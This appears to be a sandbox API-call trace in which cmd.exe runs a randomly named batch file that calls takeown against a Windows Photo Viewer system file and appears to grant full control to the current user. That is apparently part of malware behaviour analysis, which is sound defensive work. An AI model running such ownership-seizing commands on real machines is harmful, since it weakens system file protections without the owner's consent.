[0083.670] InitializeProcThreadAttributeList (in: lpAttributeList=0x3bec60, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3bed28 | out: lpAttributeList=0x3bec60, lpSize=0x3bed28) returned 1 [0083.670] UpdateProcThreadAttribute (in: lpAttributeList=0x3bec60, dwFlags=0x0, Attribute=0x60001, lpValue=0x3bed20, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3bec60, lpPreviousValue=0x0) returned 1 [0083.671] GetStartupInfoW (in: lpStartupInfo=0x3bec1c | out: lpStartupInfo=0x3bec1c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0083.682] CloseHandle (hObject=0x78) returned 1 [0083.682] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0083.682] GetProcessHeap () returned 0x700000 [0083.682] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x715fd0 | out: hHeap=0x700000) returned 1 [0083.682] GetEnvironmentStringsW () returned 0x715fd0* [0083.682] GetProcessHeap () returned 0x700000 [0083.682] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xb36) returned 0x716b10 [0083.682] FreeEnvironmentStringsW (penv=0x715fd0) returned 1 [0083.682] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0088.256] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x3bebfc | out: lpExitCode=0x3bebfc*=0x1f57) returned 1 [0088.256] CloseHandle (hObject=0x74) returned 1 [0088.256] _vsnwprintf (in: _Buffer=0x3bed44, _BufferCount=0x13, _Format="%08X", _ArgList=0x3bec08 | out: _Buffer="00001F57") returned 8 [0088.256] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00001F57") returned 1 [0088.256] GetProcessHeap () returned 0x700000 [0088.256] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x716b10 | out: hHeap=0x700000) returned 1 [0088.256] GetEnvironmentStringsW () returned 0x715fd0* [0088.256] GetProcessHeap () returned 0x700000 [0088.256] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xb5c) returned 0x7181b8 [0088.256] FreeEnvironmentStringsW (penv=0x715fd0) returned 1 [0088.256] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0088.256] GetProcessHeap () returned 0x700000 [0088.256] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7181b8 | out: hHeap=0x700000) returned 1 [0088.256] GetEnvironmentStringsW () returned 0x715fd0* [0088.256] GetProcessHeap () returned 0x700000 [0088.256] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xb5c) returned 0x7181b8 [0088.256] FreeEnvironmentStringsW (penv=0x715fd0) returned 1 [0088.257] GetProcessHeap () returned 0x700000 [0088.257] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x700e20 | out: hHeap=0x700000) returned 1 [0088.257] DeleteProcThreadAttributeList (in: lpAttributeList=0x3bec60 | out: lpAttributeList=0x3bec60) [0088.257] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.257] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0088.257] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.257] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0088.257] _get_osfhandle (_FileHandle=0) returned 0x3 [0088.257] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0088.258] SetConsoleInputExeNameW () returned 0x1 [0088.258] GetConsoleOutputCP () returned 0x1b5 [0088.258] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0088.258] SetThreadUILanguage (LangId=0x0) returned 0x409 [0088.258] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x3bf47c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0088.258] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0088.258] _get_osfhandle (_FileHandle=3) returned 0x74 [0088.258] SetFilePointer (in: hFile=0x74, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0088.258] GetProcessHeap () returned 0x700000 [0088.258] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714b90 | out: hHeap=0x700000) returned 1 [0088.258] GetProcessHeap () returned 0x700000 [0088.258] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714a60 | out: hHeap=0x700000) returned 1 [0088.258] GetProcessHeap () returned 0x700000 [0088.258] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714938 | out: hHeap=0x700000) returned 1 [0088.258] GetProcessHeap () returned 0x700000 [0088.258] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7148d0 | out: hHeap=0x700000) returned 1 [0088.259] GetProcessHeap () returned 0x700000 [0088.259] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7147e8 | out: hHeap=0x700000) returned 1 [0088.259] GetProcessHeap () returned 0x700000 [0088.259] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7145d0 | out: hHeap=0x700000) returned 1 [0088.259] GetProcessHeap () returned 0x700000 [0088.259] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714550 | out: hHeap=0x700000) returned 1 [0088.259] GetProcessHeap () returned 0x700000 [0088.259] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714420 | out: hHeap=0x700000) returned 1 [0088.259] GetProcessHeap () returned 0x700000 [0088.259] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7142f8 | out: hHeap=0x700000) returned 1 [0088.259] GetProcessHeap () returned 0x700000 [0088.259] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714290 | out: hHeap=0x700000) returned 1 [0088.259] GetProcessHeap () returned 0x700000 [0088.259] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7141b0 | out: hHeap=0x700000) returned 1 [0088.259] GetProcessHeap () returned 0x700000 [0088.259] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7012a8 | out: hHeap=0x700000) returned 1 [0088.259] GetProcessHeap () returned 0x700000 [0088.259] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x701248 | out: hHeap=0x700000) returned 1 [0088.259] _get_osfhandle (_FileHandle=3) returned 0x74 [0088.259] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0088.259] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x3bf460, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x3bf460*=0xc2, lpOverlapped=0x0) returned 1 [0088.260] SetFilePointer (in: hFile=0x74, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0088.260] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="takeown /F %1\r\n%USERNAME%:F /C\r\n") returned 15 [0088.260] _get_osfhandle (_FileHandle=3) returned 0x74 [0088.260] GetFileType (hFile=0x74) returned 0x1 [0088.260] _get_osfhandle (_FileHandle=3) returned 0x74 [0088.260] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0088.260] GetProcessHeap () returned 0x700000 [0088.260] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x400a) returned 0x724be8 [0088.260] GetProcessHeap () returned 0x700000 [0088.260] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x724be8 | out: hHeap=0x700000) returned 1 [0088.261] _tell (_FileHandle=3) returned 47 [0088.261] _close (_FileHandle=3) returned 0 [0088.261] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3bf234 | out: _Buffer="\r\n") returned 2 [0088.261] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.261] GetFileType (hFile=0x7) returned 0x2 [0088.262] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0088.262] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf1f4 | out: lpMode=0x3bf1f4) returned 1 [0088.262] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.262] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3bf220, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf220*=0x2) returned 1 [0088.264] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0088.264] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0088.264] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x3bf230 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0088.264] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x3bf230 | out: _Buffer=">") returned 1 [0088.264] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.264] GetFileType (hFile=0x7) returned 0x2 [0088.264] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0088.264] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf1f8 | out: lpMode=0x3bf1f8) returned 1 [0088.265] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.265] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x3bf224, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x3bf224*=0x26) returned 1 [0088.265] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.265] GetFileType (hFile=0x7) returned 0x2 [0088.265] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0088.265] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf47c | out: lpMode=0x3bf47c) returned 1 [0088.265] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.265] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x7012b0*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x3bf4a8, lpReserved=0x0 | out: lpBuffer=0x7012b0*, lpNumberOfCharsWritten=0x3bf4a8*=0x7) returned 1 [0088.266] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x3bf4b4 | out: _Buffer=" /F \"C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\" ") returned 73 [0088.266] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.266] GetFileType (hFile=0x7) returned 0x2 [0088.266] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0088.266] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf474 | out: lpMode=0x3bf474) returned 1 [0088.266] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.266] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x49, lpNumberOfCharsWritten=0x3bf4a0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf4a0*=0x49) returned 1 [0088.268] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3bf4d4 | out: _Buffer="\r\n") returned 2 [0088.268] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.268] GetFileType (hFile=0x7) returned 0x2 [0088.268] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0088.268] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf494 | out: lpMode=0x3bf494) returned 1 [0088.268] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.268] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3bf4c0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf4c0*=0x2) returned 1 [0088.270] _wcsicmp (_String1="takeown", _String2="DIR") returned 16 [0088.270] _wcsicmp (_String1="takeown", _String2="ERASE") returned 15 [0088.270] _wcsicmp (_String1="takeown", _String2="DEL") returned 16 [0088.270] _wcsicmp (_String1="takeown", _String2="TYPE") returned -24 [0088.270] _wcsicmp (_String1="takeown", _String2="COPY") returned 17 [0088.270] _wcsicmp (_String1="takeown", _String2="CD") returned 17 [0088.270] _wcsicmp (_String1="takeown", _String2="CHDIR") returned 17 [0088.270] _wcsicmp (_String1="takeown", _String2="RENAME") returned 2 [0088.270] _wcsicmp (_String1="takeown", _String2="REN") returned 2 [0088.270] _wcsicmp (_String1="takeown", _String2="ECHO") returned 15 [0088.270] _wcsicmp (_String1="takeown", _String2="SET") returned 1 [0088.270] _wcsicmp (_String1="takeown", _String2="PAUSE") returned 4 [0088.270] _wcsicmp (_String1="takeown", _String2="DATE") returned 16 [0088.270] _wcsicmp (_String1="takeown", _String2="TIME") returned -8 [0088.270] _wcsicmp (_String1="takeown", _String2="PROMPT") returned 4 [0088.270] _wcsicmp (_String1="takeown", _String2="MD") returned 7 [0088.270] _wcsicmp (_String1="takeown", _String2="MKDIR") returned 7 [0088.270] _wcsicmp (_String1="takeown", _String2="RD") returned 2 [0088.270] _wcsicmp (_String1="takeown", _String2="RMDIR") returned 2 [0088.270] _wcsicmp (_String1="takeown", _String2="PATH") returned 4 [0088.270] _wcsicmp (_String1="takeown", _String2="GOTO") returned 13 [0088.270] _wcsicmp (_String1="takeown", _String2="SHIFT") returned 1 [0088.270] _wcsicmp (_String1="takeown", _String2="CLS") returned 17 [0088.270] _wcsicmp (_String1="takeown", _String2="CALL") returned 17 [0088.270] _wcsicmp (_String1="takeown", _String2="VERIFY") returned -2 [0088.270] _wcsicmp (_String1="takeown", _String2="VER") returned -2 [0088.270] _wcsicmp (_String1="takeown", _String2="VOL") returned -2 [0088.270] _wcsicmp (_String1="takeown", _String2="EXIT") returned 15 [0088.271] _wcsicmp (_String1="takeown", _String2="SETLOCAL") returned 1 [0088.271] _wcsicmp (_String1="takeown", _String2="ENDLOCAL") returned 15 [0088.271] _wcsicmp (_String1="takeown", _String2="TITLE") returned -8 [0088.271] _wcsicmp (_String1="takeown", _String2="START") returned 1 [0088.271] _wcsicmp (_String1="takeown", _String2="DPATH") returned 16 [0088.271] _wcsicmp (_String1="takeown", _String2="KEYS") returned 9 [0088.271] _wcsicmp (_String1="takeown", _String2="MOVE") returned 7 [0088.271] _wcsicmp (_String1="takeown", _String2="PUSHD") returned 4 [0088.271] _wcsicmp (_String1="takeown", _String2="POPD") returned 4 [0088.271] _wcsicmp (_String1="takeown", _String2="ASSOC") returned 19 [0088.271] _wcsicmp (_String1="takeown", _String2="FTYPE") returned 14 [0088.271] _wcsicmp (_String1="takeown", _String2="BREAK") returned 18 [0088.271] _wcsicmp (_String1="takeown", _String2="COLOR") returned 17 [0088.271] _wcsicmp (_String1="takeown", _String2="MKLINK") returned 7 [0088.271] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x714260, lpFilePart=0x3bf278 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3bf278*="Desktop") returned 0x25 [0088.271] SetErrorMode (uMode=0x0) returned 0x1 [0088.271] GetProcessHeap () returned 0x700000 [0088.271] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x714258, Size=0x64) returned 0x714258 [0088.271] GetProcessHeap () returned 0x700000 [0088.271] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x714258) returned 0x64 [0088.271] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0088.271] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0088.271] GetProcessHeap () returned 0x700000 [0088.271] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x120) returned 0x7142c8 [0088.272] GetProcessHeap () returned 0x700000 [0088.272] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x238) returned 0x7143f0 [0088.272] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7143f0, Size=0x122) returned 0x7143f0 [0088.272] GetProcessHeap () returned 0x700000 [0088.272] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x7143f0) returned 0x122 [0088.272] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0088.272] GetProcessHeap () returned 0x700000 [0088.272] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xe0) returned 0x714520 [0088.272] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x714520, Size=0x76) returned 0x714520 [0088.272] GetProcessHeap () returned 0x700000 [0088.272] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x714520) returned 0x76 [0088.272] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0088.272] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x3beff4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3beff4) returned 0xffffffff [0088.272] GetLastError () returned 0x2 [0088.272] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x3beff4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3beff4) returned 0xffffffff [0088.273] GetLastError () returned 0x2 [0088.273] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0088.273] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x3beff4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3beff4) returned 0x7145a0 [0088.273] FindClose (in: hFindFile=0x7145a0 | out: hFindFile=0x7145a0) returned 1 [0088.273] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x3beff4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3beff4) returned 0xffffffff [0088.273] GetLastError () returned 0x2 [0088.273] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x3beff4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3beff4) returned 0x7145a0 [0088.273] FindClose (in: hFindFile=0x7145a0 | out: hFindFile=0x7145a0) returned 1 [0088.273] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0088.273] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0088.273] GetConsoleTitleW (in: lpConsoleTitle=0x3bf044, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0088.274] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x714d40, lpFilePart=0x3beb64 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3beb64*="Desktop") returned 0x25 [0088.274] SetErrorMode (uMode=0x0) returned 0x1 [0088.274] GetProcessHeap () returned 0x700000 [0088.274] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x714d38, Size=0x64) returned 0x714d38 [0088.274] GetProcessHeap () returned 0x700000 [0088.274] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x714d38) returned 0x64 [0088.274] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0088.274] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0088.274] GetProcessHeap () returned 0x700000 [0088.274] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x120) returned 0x714870 [0088.274] GetProcessHeap () returned 0x700000 [0088.274] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x238) returned 0x714998 [0088.274] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x714998, Size=0x122) returned 0x714998 [0088.274] GetProcessHeap () returned 0x700000 [0088.274] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x714998) returned 0x122 [0088.274] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0088.274] GetProcessHeap () returned 0x700000 [0088.274] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xe0) returned 0x714ac8 [0088.274] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x714ac8, Size=0x76) returned 0x714ac8 [0088.274] GetProcessHeap () returned 0x700000 [0088.275] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x714ac8) returned 0x76 [0088.275] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0088.275] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x3be8e0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3be8e0) returned 0xffffffff [0088.275] GetLastError () returned 0x2 [0088.275] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x3be8e0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3be8e0) returned 0xffffffff [0088.275] GetLastError () returned 0x2 [0088.275] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0088.275] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x3be8e0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3be8e0) returned 0x714b48 [0088.275] FindClose (in: hFindFile=0x714b48 | out: hFindFile=0x714b48) returned 1 [0088.275] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x3be8e0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3be8e0) returned 0xffffffff [0088.276] GetLastError () returned 0x2 [0088.276] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x3be8e0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3be8e0) returned 0x714b48 [0088.276] FindClose (in: hFindFile=0x714b48 | out: hFindFile=0x714b48) returned 1 [0088.276] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0088.276] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0088.276] GetConsoleTitleW (in: lpConsoleTitle=0x3bedd8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0088.276] InitializeProcThreadAttributeList (in: lpAttributeList=0x3bec60, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3bed28 | out: lpAttributeList=0x3bec60, lpSize=0x3bed28) returned 1 [0088.276] UpdateProcThreadAttribute (in: lpAttributeList=0x3bec60, dwFlags=0x0, Attribute=0x60001, lpValue=0x3bed20, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3bec60, lpPreviousValue=0x0) returned 1 [0088.276] GetStartupInfoW (in: lpStartupInfo=0x3bec1c | out: lpStartupInfo=0x3bec1c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0088.276] lstrcmpW (lpString1="\\takeown.exe", lpString2="\\XCOPY.EXE") returned -1 [0088.276] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="takeown /F \"C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x3becbc*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="takeown /F \"C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3bed08 | out: lpCommandLine="takeown /F \"C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\"", lpProcessInformation=0x3bed08*(hProcess=0x78, hThread=0x74, dwProcessId=0xd40, dwThreadId=0xd44)) returned 1 [0088.288] CloseHandle (hObject=0x74) returned 1 [0088.288] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0088.288] GetProcessHeap () returned 0x700000 [0088.288] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7181b8 | out: hHeap=0x700000) returned 1 [0088.288] GetEnvironmentStringsW () returned 0x715fd0* [0088.288] GetProcessHeap () returned 0x700000 [0088.288] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xb5c) returned 0x7181b8 [0088.288] FreeEnvironmentStringsW (penv=0x715fd0) returned 1 [0088.288] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0089.438] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x3bebfc | out: lpExitCode=0x3bebfc*=0x0) returned 1 [0089.438] CloseHandle (hObject=0x78) returned 1 [0089.438] _vsnwprintf (in: _Buffer=0x3bed44, _BufferCount=0x13, _Format="%08X", _ArgList=0x3bec08 | out: _Buffer="00000000") returned 8 [0089.439] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0089.439] GetProcessHeap () returned 0x700000 [0089.439] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7181b8 | out: hHeap=0x700000) returned 1 [0089.439] GetEnvironmentStringsW () returned 0x715fd0* [0089.439] GetProcessHeap () returned 0x700000 [0089.439] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xb5c) returned 0x7181b8 [0089.439] FreeEnvironmentStringsW (penv=0x715fd0) returned 1 [0089.439] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0089.439] GetProcessHeap () returned 0x700000 [0089.439] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7181b8 | out: hHeap=0x700000) returned 1 